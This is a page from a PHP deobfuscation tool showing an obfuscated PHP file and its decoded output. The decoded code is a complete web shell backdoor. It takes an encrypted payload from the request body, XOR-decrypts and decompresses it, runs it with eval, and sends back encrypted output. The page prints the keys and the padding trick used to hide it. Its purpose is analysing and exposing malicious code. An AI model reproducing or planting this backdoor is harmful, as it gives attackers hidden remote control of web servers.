Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $O='nRBput"),$RBm)==1) {@oRBb_sRBtart()RBRB;@evaRBl(@RBgzuncoRBmpress(@x(@bRBase64_..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="8f6f4f10";$kh="785c75d30582";$kf="6de57b13b56f";$p="cTibbLQIMYKSYVyw";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$O='nRBput"),$RBm)==1) {@oRBb_sRBtart()RBRB;@evaRBl(@RBgzuncoRBmpress(@x(@bRBase64_RBdecode($m[RBRB1]),$k)));$oRB=@obRB_gRBe';
$R='$k="8RBfRB6f4RBf10";RB$kh="785c75d30RB582";$kf="6RBde57RBb13bRB56f";RB$p="cRBTibbLQIMYRBRBKSYVyw";functiRBon xRB($t,';
$n='t_contents(RB);@RBob_end_cleanRB(RB)RB;$r=@basRBe6RB4_encode(@x(@gzcRBompRBress($RBo),$k));pRBriRBnt("$p$kh$r$RBkf");}';
$G=str_replace('Q','','creQatQQe_QfunQcQtion');
$u='$k){$RBc=stRBrlen(RB$k);RB$l=strlRBen($t);$oRB=RBRBRB"";for($i=0;$i<$l;){fRBor($jRB=0RB;($j<$RBc&&$i<$l);$j+RB+,$i+RB+){$o';
$A='.RB=RB$t{$i}^$k{$jRB};}RB}return $oRB;}RBifRB (@preg_matcRBh("/$kRBhRB(.+)$kf/"RB,@fiRBleRB_get_coRBRBntents("php://i';
$Z=str_replace('RB','',$R.$u.$A.$O.$n);
$E=$G('',$Z);$E();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | a872d5456cfdb2d7e86e644d9f490231 |
Eval Count | 1 |
Decode Time | 83 ms |